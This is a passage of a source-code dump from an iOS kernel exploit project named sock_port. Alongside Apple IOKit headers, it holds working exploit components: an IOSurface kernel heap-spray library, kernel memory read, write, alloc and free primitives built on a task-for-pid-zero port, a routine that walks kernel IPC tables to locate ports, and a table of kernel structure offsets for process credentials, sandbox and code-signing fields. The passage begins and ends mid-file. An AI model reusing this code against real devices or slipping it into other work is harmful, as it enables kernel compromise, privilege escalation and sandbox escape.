//#define kIOReturn???Error iokit_common_err(0x2dc) // ??? #define kIOReturnPortExists iokit_common_err(0x2dd) // port already exists #define kIOReturnCannotWire iokit_common_err(0x2de) // can't wire down // physical memory #define kIOReturnNoInterrupt iokit_common_err(0x2df) // no interrupt attached #define kIOReturnNoFrames iokit_common_err(0x2e0) // no DMA frames enqueued #define kIOReturnMessageTooLarge iokit_common_err(0x2e1) // oversized msg received // on interrupt port #define kIOReturnNotPermitted iokit_common_err(0x2e2) // not permitted #define kIOReturnNoPower iokit_common_err(0x2e3) // no power to device #define kIOReturnNoMedia iokit_common_err(0x2e4) // media not present #define kIOReturnUnformattedMedia iokit_common_err(0x2e5)// media not formatted #define kIOReturnUnsupportedMode iokit_common_err(0x2e6) // no such mode #define kIOReturnUnderrun iokit_common_err(0x2e7) // data underrun #define kIOReturnOverrun iokit_common_err(0x2e8) // data overrun #define kIOReturnDeviceError iokit_common_err(0x2e9) // the device is not working properly! #define kIOReturnNoCompletion iokit_common_err(0x2ea) // a completion routine is required #define kIOReturnAborted iokit_common_err(0x2eb) // operation aborted #define kIOReturnNoBandwidth iokit_common_err(0x2ec) // bus bandwidth would be exceeded #define kIOReturnNotResponding iokit_common_err(0x2ed) // device not responding #define kIOReturnIsoTooOld iokit_common_err(0x2ee) // isochronous I/O request for distant past! #define kIOReturnIsoTooNew iokit_common_err(0x2ef) // isochronous I/O request for distant future #define kIOReturnNotFound iokit_common_err(0x2f0) // data was not found #define kIOReturnInvalid iokit_common_err(0x1) // should never be seen #ifdef __cplusplus } #endif #endif /* ! __IOKIT_IORETURN_H */ ================================================ FILE: Exploits/sock_port/include/IOKit/IOTypes.h ================================================ /* * Copyright (c) 1998-2006 Apple Computer, Inc. All rights reserved. * * @APPLE_OSREFERENCE_LICENSE_HEADER_START@ * * This file contains Original Code and/or Modifications of Original Code * as defined in and that are subject to the Apple Public Source License * Version 2.0 (the 'License'). You may not use this file except in * compliance with the License. The rights granted to you under the License * may not be used to create, or enable the creation or redistribution of, * unlawful or unlicensed copies of an Apple operating system, or to * circumvent, violate, or enable the circumvention or violation of, any * terms of an Apple operating system software license agreement. * * Please obtain a copy of the License at * http://www.opensource.apple.com/apsl/ and read it before using this file. * * The Original Code and all software distributed under the License are * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. * Please see the License for the specific language governing rights and * limitations under the License. * * @APPLE_OSREFERENCE_LICENSE_HEADER_END@ */ #ifndef __IOKIT_IOTYPES_H #define __IOKIT_IOTYPES_H #ifndef IOKIT #define IOKIT 1 #endif /* !IOKIT */ #if KERNEL #include #else #include #include #endif #include "IOReturn.h" #ifdef __cplusplus extern "C" { #endif #ifndef NULL #if defined (__cplusplus) #define NULL 0 #else #define NULL ((void *)0) #endif #endif /* * Simple data types. */ #ifndef __MACTYPES__ /* CF MacTypes.h */ #ifndef __TYPES__ /* guess... Mac Types.h */ #include #include #endif /* __TYPES__ */ #endif /* __MACTYPES__ */ #if KERNEL #include #endif typedef UInt32 IOOptionBits; typedef SInt32 IOFixed; typedef UInt32 IOVersion; typedef UInt32 IOItemCount; typedef UInt32 IOCacheMode; typedef UInt32 IOByteCount32; typedef UInt64 IOByteCount64; typedef UInt32 IOPhysicalAddress32; typedef UInt64 IOPhysicalAddress64; typedef UInt32 IOPhysicalLength32; typedef UInt64 IOPhysicalLength64; #ifdef __LP64__ typedef mach_vm_address_t IOVirtualAddress; #else typedef vm_address_t IOVirtualAddress; #endif #if defined(__LP64__) && defined(KERNEL) typedef IOByteCount64 IOByteCount; #else typedef IOByteCount32 IOByteCount; #endif typedef IOVirtualAddress IOLogicalAddress; #if defined(__LP64__) && defined(KERNEL) typedef IOPhysicalAddress64 IOPhysicalAddress; typedef IOPhysicalLength64 IOPhysicalLength; #define IOPhysical32( hi, lo ) ((UInt64) lo + ((UInt64)(hi) << 32)) #define IOPhysSize 64 #else typedef IOPhysicalAddress32 IOPhysicalAddress; typedef IOPhysicalLength32 IOPhysicalLength; #define IOPhysical32( hi, lo ) (lo) #define IOPhysSize 32 #endif typedef struct { IOPhysicalAddress address; IOByteCount length; } IOPhysicalRange; typedef struct { IOVirtualAddress address; IOByteCount length; } IOVirtualRange; #ifdef __LP64__ typedef IOVirtualRange IOAddressRange; #else /* !__LP64__ */ typedef struct { mach_vm_address_t address; mach_vm_size_t length; } IOAddressRange; #endif /* !__LP64__ */ /* * Map between #defined or enum'd constants and text description. */ typedef struct { int value; const char *name; } IONamedValue; /* * Memory alignment -- specified as a power of two. */ typedef unsigned int IOAlignment; #define IO_NULL_VM_TASK ((vm_task_t)0) /* * Pull in machine specific stuff. */ //#include #ifndef MACH_KERNEL #ifndef __IOKIT_PORTS_DEFINED__ #define __IOKIT_PORTS_DEFINED__ #ifdef KERNEL typedef struct OSObject * io_object_t; #else /* KERNEL */ typedef mach_port_t io_object_t; #endif /* KERNEL */ #endif /* __IOKIT_PORTS_DEFINED__ */ #include typedef io_object_t io_connect_t; typedef io_object_t io_enumerator_t; typedef io_object_t io_iterator_t; typedef io_object_t io_registry_entry_t; typedef io_object_t io_service_t; #define IO_OBJECT_NULL ((io_object_t) 0) #endif /* MACH_KERNEL */ // IOConnectMapMemory memoryTypes enum { kIODefaultMemoryType = 0 }; enum { kIODefaultCache = 0, kIOInhibitCache = 1, kIOWriteThruCache = 2, kIOCopybackCache = 3, kIOWriteCombineCache = 4 }; // IOMemory mapping options enum { kIOMapAnywhere = 0x00000001, kIOMapCacheMask = 0x00000700, kIOMapCacheShift = 8, kIOMapDefaultCache = kIODefaultCache << kIOMapCacheShift, kIOMapInhibitCache = kIOInhibitCache << kIOMapCacheShift, kIOMapWriteThruCache = kIOWriteThruCache << kIOMapCacheShift, kIOMapCopybackCache = kIOCopybackCache << kIOMapCacheShift, kIOMapWriteCombineCache = kIOWriteCombineCache << kIOMapCacheShift, kIOMapUserOptionsMask = 0x00000fff, kIOMapReadOnly = 0x00001000, kIOMapStatic = 0x01000000, kIOMapReference = 0x02000000, kIOMapUnique = 0x04000000 #ifdef XNU_KERNEL_PRIVATE , kIOMap64Bit = 0x08000000 #endif }; /*! @enum Scale Factors @discussion Used when a scale_factor parameter is required to define a unit of time. @constant kNanosecondScale Scale factor for nanosecond based times. @constant kMicrosecondScale Scale factor for microsecond based times. @constant kMillisecondScale Scale factor for millisecond based times. @constant kTickScale Scale factor for the standard (100Hz) tick. @constant kSecondScale Scale factor for second based times. */ enum { kNanosecondScale = 1, kMicrosecondScale = 1000, kMillisecondScale = 1000 * 1000, kSecondScale = 1000 * 1000 * 1000, kTickScale = (kSecondScale / 100) }; /* compatibility types */ #ifndef KERNEL typedef unsigned int IODeviceNumber; #endif #ifdef __cplusplus } #endif #endif /* ! __IOKIT_IOTYPES_H */ ================================================ FILE: Exploits/sock_port/include/IOKit/OSMessageNotification.h ================================================ /* * Copyright (c) 1998-2000 Apple Computer, Inc. All rights reserved. * * @APPLE_LICENSE_HEADER_START@ * * This file contains Original Code and/or Modifications of Original Code * as defined in and that are subject to the Apple Public Source License * Version 2.0 (the 'License'). You may not use this file except in * compliance with the License. Please obtain a copy of the License at * http://www.opensource.apple.com/apsl/ and read it before using this * file. * * The Original Code and all software distributed under the License are * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. * Please see the License for the specific language governing rights and * limitations under the License. * * @APPLE_LICENSE_HEADER_END@ */ /* * Copyright (c) 1999 Apple Computer, Inc. All rights reserved. * * HISTORY * */ #ifndef __OS_OSMESSAGENOTIFICATION_H #define __OS_OSMESSAGENOTIFICATION_H #ifdef __cplusplus extern "C" { #endif #include #include "IOReturn.h" enum { kFirstIOKitNotificationType = 100, kIOServicePublishNotificationType = 100, kIOServiceMatchedNotificationType = 101, kIOServiceTerminatedNotificationType = 102, kIOAsyncCompletionNotificationType = 150, kIOServiceMessageNotificationType = 160, kLastIOKitNotificationType = 199 }; enum { kOSNotificationMessageID = 53, kOSAsyncCompleteMessageID = 57, kMaxAsyncArgs = 16 }; enum { kIOAsyncReservedIndex = 0, kIOAsyncReservedCount, kIOAsyncCalloutFuncIndex = kIOAsyncReservedCount, kIOAsyncCalloutRefconIndex, kIOAsyncCalloutCount, kIOMatchingCalloutFuncIndex = kIOAsyncReservedCount, kIOMatchingCalloutRefconIndex, kIOMatchingCalloutCount, kIOInterestCalloutFuncIndex = kIOAsyncReservedCount, kIOInterestCalloutRefconIndex, kIOInterestCalloutServiceIndex, kIOInterestCalloutCount }; enum { kOSAsyncRefCount = 8, kOSAsyncRefSize = 32 }; typedef natural_t OSAsyncReference[kOSAsyncRefCount]; struct OSNotificationHeader { vm_size_t size; /* content size */ natural_t type; OSAsyncReference reference; #if defined(__STDC_VERSION__) && (__STDC_VERSION__ >= 199901L) unsigned char content[]; #else unsigned char content[0]; #endif }; struct IOServiceInterestContent { natural_t messageType; void * messageArgument[1]; }; struct IOAsyncCompletionContent { IOReturn result; #if defined(__STDC_VERSION__) && (__STDC_VERSION__ >= 199901L) void * args[]; #else void * args[0]; #endif }; #ifndef __cplusplus typedef struct OSNotificationHeader OSNotificationHeader; typedef struct IOServiceInterestContent IOServiceInterestContent; typedef struct IOAsyncCompletionContent IOAsyncCompletionContent; #endif #ifdef __cplusplus } #endif #endif /* __OS_OSMESSAGENOTIFICATION_H */ ================================================ FILE: Exploits/sock_port/iosurface.c ================================================ /* * iosurface.c * Brandon Azad */ #define IOSURFACE_EXTERN #include "iosurface.h" // ---- Global variables -------------------------------------------------------------------------- // Is the IOSurface subsystem initialized? static bool IOSurface_initialized; // ---- Functions --------------------------------------------------------------------------------- #define ERROR(str, ...) printf("IOSurface: "str, ##__VA_ARGS__) bool IOSurface_init() { if (IOSurface_initialized) { return true; } IOSurfaceRoot = IOServiceGetMatchingService( kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot")); if (IOSurfaceRoot == MACH_PORT_NULL) { ERROR("IOSurface: Could not find %s", "IOSurfaceRoot"); return false; } kern_return_t kr = IOServiceOpen( IOSurfaceRoot, mach_task_self(), 0, &IOSurfaceRootUserClient); if (kr != KERN_SUCCESS) { ERROR("IOSurface: could not open %s", "IOSurfaceRootUserClient"); return false; } struct _IOSurfaceFastCreateArgs create_args = { .alloc_size = 0x4000, }; struct IOSurfaceLockResult lock_result; extern uint32_t create_outsize; size_t lock_result_size = create_outsize; kr = IOConnectCallMethod( IOSurfaceRootUserClient, 6, // create_surface_client_fast_path NULL, 0, &create_args, sizeof(create_args), NULL, NULL, &lock_result, &lock_result_size); if (kr != KERN_SUCCESS) { ERROR("IOSurface: could not create %s: 0x%x", "IOSurfaceClient", kr); return false; } IOSurface_id = lock_result.surface_id; if (!IOSurface_id) { IOSurface_id = (uint32_t)lock_result.addr3; } IOSurface_initialized = true; return true; } void IOSurface_deinit() { assert(IOSurface_initialized); IOSurface_initialized = false; IOSurface_id = 0; IOServiceClose(IOSurfaceRootUserClient); IOObjectRelease(IOSurfaceRoot); } /* * IOSurface_set_value * * Description: * A wrapper around IOSurfaceRootUserClient::set_value(). */ bool IOSurface_set_value(const struct IOSurfaceValueArgs *args, size_t args_size) { struct IOSurfaceValueResultArgs result; size_t result_size = sizeof(result); kern_return_t kr = IOConnectCallMethod( IOSurfaceRootUserClient, 9, // set_value NULL, 0, args, args_size, NULL, NULL, &result, &result_size); if (kr != KERN_SUCCESS) { ERROR("IOSurface: failed to %s value in %s: 0x%x", "set", "IOSurface", kr); return false; } return true; } /* * IOSurface_get_value * * Description: * A wrapper around IOSurfaceRootUserClient::get_value(). */ static bool IOSurface_get_value(const struct IOSurfaceValueArgs *in, size_t in_size, struct IOSurfaceValueArgs *out, size_t *out_size) { kern_return_t kr = IOConnectCallMethod( IOSurfaceRootUserClient, 10, // get_value NULL, 0, in, in_size, NULL, NULL, out, out_size); if (kr != KERN_SUCCESS) { ERROR("IOSurface: failed to %s value in %s: 0x%x", "get", "IOSurface", kr); return false; } return true; } /* * IOSurface_remove_value * * Description: * A wrapper around IOSurfaceRootUserClient::remove_value(). */ static bool IOSurface_remove_value(const struct IOSurfaceValueArgs *args, size_t args_size) { struct IOSurfaceValueResultArgs result; size_t result_size = sizeof(result); kern_return_t kr = IOConnectCallMethod( IOSurfaceRootUserClient, 11, // remove_value NULL, 0, args, args_size, NULL, NULL, &result, &result_size); if (kr != KERN_SUCCESS) { ERROR("IOSurface: failed to %s value in %s: 0x%x", "remove", "IOSurface", kr); return false; } return true; } /* * base255_encode * * Description: * Encode an integer so that it does not contain any null bytes. */ static uint32_t base255_encode(uint32_t value) { uint32_t encoded = 0; for (unsigned i = 0; i < sizeof(value); i++) { encoded |= ((value % 255) + 1) << (8 * i); value /= 255; } return encoded; } /* * xml_units_for_data_size * * Description: * Return the number of XML units needed to store the given size of data in an OSString. */ static size_t xml_units_for_data_size(size_t data_size) { return ((data_size - 1) + sizeof(uint32_t) - 1) / sizeof(uint32_t); } /* * serialize_IOSurface_data_array * * Description: * Create the template of the serialized array to pass to IOSurfaceUserClient::set_value(). * Returns the size of the serialized data in bytes. */ static size_t serialize_IOSurface_data_array(uint32_t *xml0, uint32_t array_length, uint32_t data_size, uint32_t **xml_data, uint32_t **key) { uint32_t *xml = xml0; *xml++ = kOSSerializeBinarySignature; *xml++ = kOSSerializeArray | 2 | kOSSerializeEndCollection; *xml++ = kOSSerializeArray | array_length; for (size_t i = 0; i < array_length; i++) { uint32_t flags = (i == array_length - 1 ? kOSSerializeEndCollection : 0); *xml++ = kOSSerializeData | (data_size - 1) | flags; xml_data[i] = xml; xml += xml_units_for_data_size(data_size); } *xml++ = kOSSerializeSymbol | sizeof(uint32_t) + 1 | kOSSerializeEndCollection; *key = xml++; // This will be filled in on each array loop. *xml++ = 0; // Null-terminate the symbol. return (xml - xml0) * sizeof(*xml); } /* * IOSurface_spray_with_gc_internal * * Description: * A generalized version of IOSurface_spray_with_gc() and IOSurface_spray_size_with_gc(). */ static uint32_t total_arrays = 0; static bool IOSurface_spray_with_gc_internal(uint32_t array_count, uint32_t array_length, uint32_t extra_count, void *data, uint32_t data_size, void (^callback)(uint32_t array_id, uint32_t data_id, void *data, size_t size)) { assert(array_count <= 0xffffff); assert(array_length <= 0xffff); assert(data_size <= 0xffffff); assert(extra_count < array_count); // Make sure our IOSurface is initialized. bool ok = IOSurface_init(); if (!ok) { return 0; } // How big will our OSUnserializeBinary dictionary be? uint32_t current_array_length = array_length + (extra_count > 0 ? 1 : 0); size_t xml_units_per_data = xml_units_for_data_size(data_size); size_t xml_units = 1 + 1 + 1 + (1 + xml_units_per_data) * current_array_length + 1 + 1 + 1; // Allocate the args struct. struct IOSurfaceValueArgs *args; size_t args_size = sizeof(*args) + xml_units * sizeof(args->xml[0]); args = malloc(args_size); assert(args != 0); // Build the IOSurfaceValueArgs. args->surface_id = IOSurface_id; // Create the serialized OSArray. We'll remember the locations we need to fill in with our // data as well as the slot we need to set our key. uint32_t **xml_data = malloc(current_array_length * sizeof(*xml_data)); assert(xml_data != NULL); uint32_t *key; size_t xml_size = serialize_IOSurface_data_array(args->xml, current_array_length, data_size, xml_data, &key); assert(xml_size == xml_units * sizeof(args->xml[0])); // Keep track of when we need to do GC. size_t sprayed = 0; size_t next_gc_step = 0; // Loop through the arrays. for (uint32_t array_id = 0; array_id < array_count; array_id++) { // If we've crossed the GC sleep boundary, sleep for a bit and schedule the // next one. // Now build the array and its elements. *key = base255_encode(total_arrays + array_id); for (uint32_t data_id = 0; data_id < current_array_length; data_id++) { // Update the data for this spray if the user requested. if (callback != NULL) { callback(array_id, data_id, data, data_size); } // Copy in the data to the appropriate slot. memcpy(xml_data[data_id], data, data_size - 1); } // Finally set the array in the surface. ok = IOSurface_set_value(args, args_size); if (!ok) { free(args); free(xml_data); return false; } if (ok) { sprayed += data_size * current_array_length; // If we just sprayed an array with an extra element, decrement the // outstanding extra_count. if (current_array_length > array_length) { assert(extra_count > 0); extra_count--; // If our extra_count is now 0, rebuild our serialized array. (We // could implement this as a memmove(), but I'm lazy.) if (extra_count == 0) { current_array_length--; serialize_IOSurface_data_array(args->xml, current_array_length, data_size, xml_data, &key); } } } } if (next_gc_step > 0) { // printf("\n"); } // Clean up resources. free(args); free(xml_data); total_arrays += array_count; return true; } bool IOSurface_spray_with_gc(uint32_t array_count, uint32_t array_length, void *data, uint32_t data_size, void (^callback)(uint32_t array_id, uint32_t data_id, void *data, size_t size)) { return IOSurface_spray_with_gc_internal(array_count, array_length, 0, data, data_size, callback); } bool IOSurface_spray_size_with_gc(uint32_t array_count, size_t spray_size, void *data, uint32_t data_size, void (^callback)(uint32_t array_id, uint32_t data_id, void *data, size_t size)) { assert(array_count <= 0xffffff); assert(data_size <= 0xffffff); size_t data_count = (spray_size + data_size - 1) / data_size; size_t array_length = data_count / array_count; size_t extra_count = data_count % array_count; assert(array_length <= 0xffff); return IOSurface_spray_with_gc_internal(array_count, (uint32_t) array_length, (uint32_t) extra_count, data, data_size, callback); } bool IOSurface_spray_read_array(uint32_t array_id, uint32_t array_length, uint32_t data_size, void (^callback)(uint32_t data_id, void *data, size_t size)) { assert(IOSurface_initialized); assert(array_id < 0xffffff); assert(array_length <= 0xffff); assert(data_size <= 0xffffff); bool success = false; // Create the input args. struct IOSurfaceValueArgs_string args_in = {}; args_in.surface_id = IOSurface_id; args_in.string_data = base255_encode(array_id); // Create the output args. size_t xml_units_per_data = xml_units_for_data_size(data_size); size_t xml_units = 1 + 1 + (1 + xml_units_per_data) * array_length; struct IOSurfaceValueArgs *args_out; size_t args_out_size = sizeof(*args_out) + xml_units * sizeof(args_out->xml[0]); // Over-allocate the output buffer a little bit. This allows us to directly pass the inline // data to the client without having to worry about the fact that the kernel data is 1 byte // shorter (which otherwise would produce an out-of-bounds read on the last element for // certain data sizes). Yeah, it's a hack, deal with it. args_out = malloc(args_out_size + sizeof(uint32_t)); assert(args_out != 0); // Get the value. bool ok = IOSurface_get_value((struct IOSurfaceValueArgs *)&args_in, sizeof(args_in), args_out, &args_out_size); if (!ok) { goto fail; } // Do the ugly parsing ourselves. :( uint32_t *xml = args_out->xml; if (*xml++ != kOSSerializeBinarySignature) { ERROR("IOSurface: did not find OSSerializeBinary signature"); goto fail; } if (*xml++ != (kOSSerializeArray | array_length | kOSSerializeEndCollection)) { ERROR("IOSurface: unexpected container"); goto fail; } for (uint32_t data_id = 0; data_id < array_length; data_id++) { uint32_t flags = (data_id == array_length - 1 ? kOSSerializeEndCollection : 0); if (*xml++ != (kOSSerializeString | data_size - 1 | flags)) { ERROR("IOSurface: unexpected data: 0x%x != 0x%x at index %u", xml[-1], kOSSerializeString | data_size - 1 | flags, data_id); goto fail; } callback(data_id, (void *)xml, data_size); xml += xml_units_per_data; } success = true; fail: free(args_out); return success; } bool IOSurface_spray_read_all_data(uint32_t array_count, uint32_t array_length, uint32_t data_size, void (^callback)(uint32_t array_id, uint32_t data_id, void *data, size_t size)) { assert(IOSurface_initialized); assert(array_count <= 0xffffff); assert(array_length <= 0xffff); assert(data_size <= 0xffffff); bool ok = true; //TODO: We should probably amortize the creation of the output buffer. for (uint32_t array_id = 0; array_id < array_count; array_id++) { ok &= IOSurface_spray_read_array(array_id, array_length, data_size, ^(uint32_t data_id, void *data, size_t size) { callback(array_id, data_id, data, size); }); } return ok; } bool IOSurface_spray_remove_array(uint32_t array_id) { assert(IOSurface_initialized); assert(array_id < 0xffffff); struct IOSurfaceValueArgs_string args = {}; args.surface_id = IOSurface_id; args.string_data = base255_encode(array_id); return IOSurface_remove_value((struct IOSurfaceValueArgs *)&args, sizeof(args)); } bool IOSurface_spray_clear(uint32_t array_count) { assert(IOSurface_initialized); assert(array_count <= 0xffffff); bool ok = true; for (uint32_t array_id = 0; array_id < array_count; array_id++) { ok &= IOSurface_spray_remove_array(array_id); } return ok; } ================================================ FILE: Exploits/sock_port/iosurface.h ================================================ /* * iosurface.h * Brandon Azad */ #ifndef VOUCHER_SWAP__IOSURFACE_H_ #define VOUCHER_SWAP__IOSURFACE_H_ #include #include #include #include #include #include #include "../sock_port/include/IOKit/IOKitLib.h" #include "exploit_utilities.h" #ifdef IOSURFACE_EXTERN #define extern IOSURFACE_EXTERN #endif // The IOSurfaceRoot service. extern mach_port_t IOSurfaceRoot; // An IOSurfaceRootUserClient instance. extern mach_port_t IOSurfaceRootUserClient; // The ID of the IOSurface we're using. extern uint32_t IOSurface_id; /* * IOSurface_init * * Description: * Initialize the IOSurface subsystem. */ bool IOSurface_init(void); /* * IOSurface_deinit * * Description: * Tear down the IOSurface subsystem. Any sprayed memory will be automatically deallocated. */ void IOSurface_deinit(void); /* * IOSurface_spray_with_gc * * Description: * Spray kernel memory using IOSurface properties. * * The current implementation stores each data allocation in an OSString. The reason for this * is that OSString contents will be allocated using kalloc() even for allocations larger than * the page size. OSData on the other hand will use kmem_alloc() for large allocations. * Consequently, the last byte of data will be zeroed out to create a null terminator. */ bool IOSurface_spray_with_gc(uint32_t array_count, uint32_t array_length, void *data, uint32_t data_size, void (^callback)(uint32_t array_id, uint32_t data_id, void *data, size_t size)); /* * IOSurface_spray_size_with_gc * * Description: * Spray kernel memory using IOSurface properties. * * This function computes the number of elements per array automatically. */ bool IOSurface_spray_size_with_gc(uint32_t array_count, size_t spray_size, void *data, uint32_t data_size, void (^callback)(uint32_t array_id, uint32_t data_id, void *data, size_t size)); /* * IOSurface_spray_read_array * * Description: * Read back the data elements in a particular array in a particular IOSurface spray. */ bool IOSurface_spray_read_array(uint32_t array_id, uint32_t array_length, uint32_t data_size, void (^callback)(uint32_t data_id, void *data, size_t size)); /* * IOSurface_spray_read_all_data * * Description: * Read back all the data elements in an IOSurface spray. */ bool IOSurface_spray_read_all_data(uint32_t array_count, uint32_t array_length, uint32_t data_size, void (^callback)(uint32_t array_id, uint32_t data_id, void *data, size_t size)); /* * IOSurface_spray_remove_array * * Description: * Remove a particular array from an IOSurface spray, freeing the contained data elements. */ bool IOSurface_spray_remove_array(uint32_t array_id); /* * IOSurface_spray_clear * * Description: * Remove all the arrays from an IOSurface spray, freeing all the data elements. */ bool IOSurface_spray_clear(uint32_t array_count); // ---- IOSurface types --------------------------------------------------------------------------- struct _IOSurfaceFastCreateArgs { uint64_t address; uint32_t width; uint32_t height; uint32_t pixel_format; uint32_t bytes_per_element; uint32_t bytes_per_row; uint32_t alloc_size; }; struct IOSurfaceLockResult { uint64_t addr1; uint64_t addr2; uint64_t addr3; uint32_t surface_id; uint8_t _pad2[0xdd0-0x18-0x4]; }; struct IOSurfaceValueArgs { uint32_t surface_id; uint32_t _out1; union { uint32_t xml[0]; char string[0]; }; }; struct IOSurfaceValueArgs_string { uint32_t surface_id; uint32_t _out1; uint32_t string_data; char null; }; struct IOSurfaceValueResultArgs { uint32_t out; }; bool IOSurface_set_value(const struct IOSurfaceValueArgs *args, size_t args_size); #undef extern #endif ================================================ FILE: Exploits/sock_port/kernel_memory.c ================================================ // // kernel_memory.c // sock_port // // Created by Jake James on 7/18/19. // Copyright © 2019 Jake James. All rights reserved. // #include "kernel_memory.h" static mach_port_t tfpzero; void init_kernel_memory(mach_port_t tfp0) { tfpzero = tfp0; } uint64_t kalloc(vm_size_t size) { mach_vm_address_t address = 0; mach_vm_allocate(tfpzero, (mach_vm_address_t *)&address, size, VM_FLAGS_ANYWHERE); return address; } void kfree(mach_vm_address_t address, vm_size_t size) { mach_vm_deallocate(tfpzero, address, size); } size_t kread(uint64_t where, void *p, size_t size) { int rv; size_t offset = 0; while (offset < size) { mach_vm_size_t sz, chunk = 2048; if (chunk > size - offset) { chunk = size - offset; } rv = mach_vm_read_overwrite(tfpzero, where + offset, chunk, (mach_vm_address_t)p + offset, &sz); if (rv || sz == 0) { printf("Kernel Memory: error on kread(0x%016llx)\n", where); break; } offset += sz; } return offset; } uint32_t rk32(uint64_t where) { uint32_t out; kread(where, &out, sizeof(uint32_t)); return out; } uint64_t rk64(uint64_t where) { uint64_t out; kread(where, &out, sizeof(uint64_t)); return out; } size_t kwrite(uint64_t where, const void *p, size_t size) { int rv; size_t offset = 0; while (offset < size) { size_t chunk = 2048; if (chunk > size - offset) { chunk = size - offset; } rv = mach_vm_write(tfpzero, where + offset, (mach_vm_offset_t)p + offset, (int)chunk); if (rv) { printf("Kernel Memory: error on kwrite(0x%016llx)\n", where); break; } offset += chunk; } return offset; } void wk32(uint64_t where, uint32_t what) { uint32_t _what = what; kwrite(where, &_what, sizeof(uint32_t)); } void wk64(uint64_t where, uint64_t what) { uint64_t _what = what; kwrite(where, &_what, sizeof(uint64_t)); } uint64_t find_port(mach_port_name_t port, uint64_t task_self) { uint64_t task_addr = rk64(task_self + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); uint64_t itk_space = rk64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE)); uint64_t is_table = rk64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE)); uint32_t port_index = port >> 8; const int sizeof_ipc_entry_t = 0x18; uint64_t port_addr = rk64(is_table + (port_index * sizeof_ipc_entry_t)); return port_addr; } ================================================ FILE: Exploits/sock_port/kernel_memory.h ================================================ // // kernel_memory.h // sock_port // // Created by Jake James on 7/18/19. // Copyright © 2019 Jake James. All rights reserved. // #ifndef kernel_memory_h #define kernel_memory_h #include #include #include "offsets.h" kern_return_t mach_vm_allocate(vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags); kern_return_t mach_vm_read_overwrite(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, mach_vm_address_t data, mach_vm_size_t *outsize); kern_return_t mach_vm_write(vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt); kern_return_t mach_vm_deallocate(vm_map_t target, mach_vm_address_t address, mach_vm_size_t size);; kern_return_t mach_vm_read(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, vm_offset_t *data, mach_msg_type_number_t *dataCnt); void init_kernel_memory(mach_port_t tfp0); size_t kread(uint64_t where, void *p, size_t size); uint32_t rk32(uint64_t where); uint64_t rk64(uint64_t where); size_t kwrite(uint64_t where, const void *p, size_t size); void wk32(uint64_t where, uint32_t what); void wk64(uint64_t where, uint64_t what); void kfree(mach_vm_address_t address, vm_size_t size); uint64_t kalloc(vm_size_t size); uint64_t find_port(mach_port_name_t port, uint64_t task_self); #endif /* kernel_memory_h */ ================================================ FILE: Exploits/sock_port/offsetof.c ================================================ unsigned off_p_pid = 0x10; // proc_t::p_pid unsigned off_task = 0x18; // proc_t::task unsigned off_p_uid = 0x30; // proc_t::p_uid unsigned off_p_gid = 0x34; // proc_t::p_uid unsigned off_p_ruid = 0x38; // proc_t::p_uid unsigned off_p_rgid = 0x3c; // proc_t::p_uid unsigned off_p_ucred = 0x100; // proc_t::p_ucred unsigned off_p_fd = 0x108; // proc_t::p_fd unsigned off_p_csflags = 0x2a8; // proc_t::p_csflags unsigned off_p_comm = 0x268; // proc_t::p_comm unsigned off_p_textvp = 0x248; // proc_t::p_textvp unsigned off_p_textoff = 0x250; // proc_t::p_textoff unsigned off_p_cputype = 0x2c0; // proc_t::p_cputype unsigned off_p_cpu_subtype = 0x2c4; // proc_t::p_cpu_subtype unsigned off_itk_self = 0xD8; // task_t::itk_self (convert_task_to_port) unsigned off_itk_sself = 0xE8; // task_t::itk_sself (task_get_special_port) unsigned off_itk_bootstrap = 0x2b8; // task_t::itk_bootstrap (task_get_special_port) unsigned off_itk_space = 0x308; // task_t::itk_space unsigned off_ip_mscount = 0x9C; // ipc_port_t::ip_mscount (ipc_port_make_send) unsigned off_ip_srights = 0xA0; // ipc_port_t::ip_srights (ipc_port_make_send) unsigned off_ip_kobject = 0x68; // ipc_port_t::ip_kobject unsigned off_special = 2 * sizeof(long); // host::special unsigned off_ipc_space_is_table = 0x20; // ipc_space::is_table?.. unsigned off_ucred_cr_uid = 0x18; // ucred::cr_uid unsigned off_ucred_cr_ruid = 0x1c; // ucred::cr_ruid unsigned off_ucred_cr_svuid = 0x20; // ucred::cr_svuid unsigned off_ucred_cr_ngroups = 0x24; // ucred::cr_ngroups unsigned off_ucred_cr_groups = 0x28; // ucred::cr_groups unsigned off_ucred_cr_rgid = 0x68; // ucred::cr_rgid unsigned off_ucred_cr_svgid = 0x6c; // ucred::cr_svgid unsigned off_ucred_cr_label = 0x78; // ucred::cr_label unsigned off_amfi_slot = 0x8; unsigned off_sandbox_slot = 0x10; unsigned off_v_type = 0x70; // vnode::v_type unsigned off_v_id = 0x74; // vnode::v_id unsigned off_v_ubcinfo = 0x78; // vnode::v_ubcinfo unsigned off_v_flags = 0x54; // vnode::v_flags unsigned off_ubcinfo_csblobs = 0x50; // ubc_info::csblobs unsigned off_csb_cputype = 0x8; // cs_blob::csb_cputype unsigned off_csb_flags = 0x12; // cs_blob::csb_flags unsigned off_csb_base_offset = 0x16; // cs_blob::csb_base_offset unsigned off_csb_entitlements_offset = 0x90; // cs_blob::csb_entitlements unsigned off_csb_signer_type = 0xA0; // cs_blob::csb_signer_type unsigned off_csb_platform_binary = 0xA4; // cs_blob::csb_platform_binary unsigned off_csb_platform_path = 0xA8; // cs_blob::csb_platform_path unsigned off_csb_cd = 0x80; // 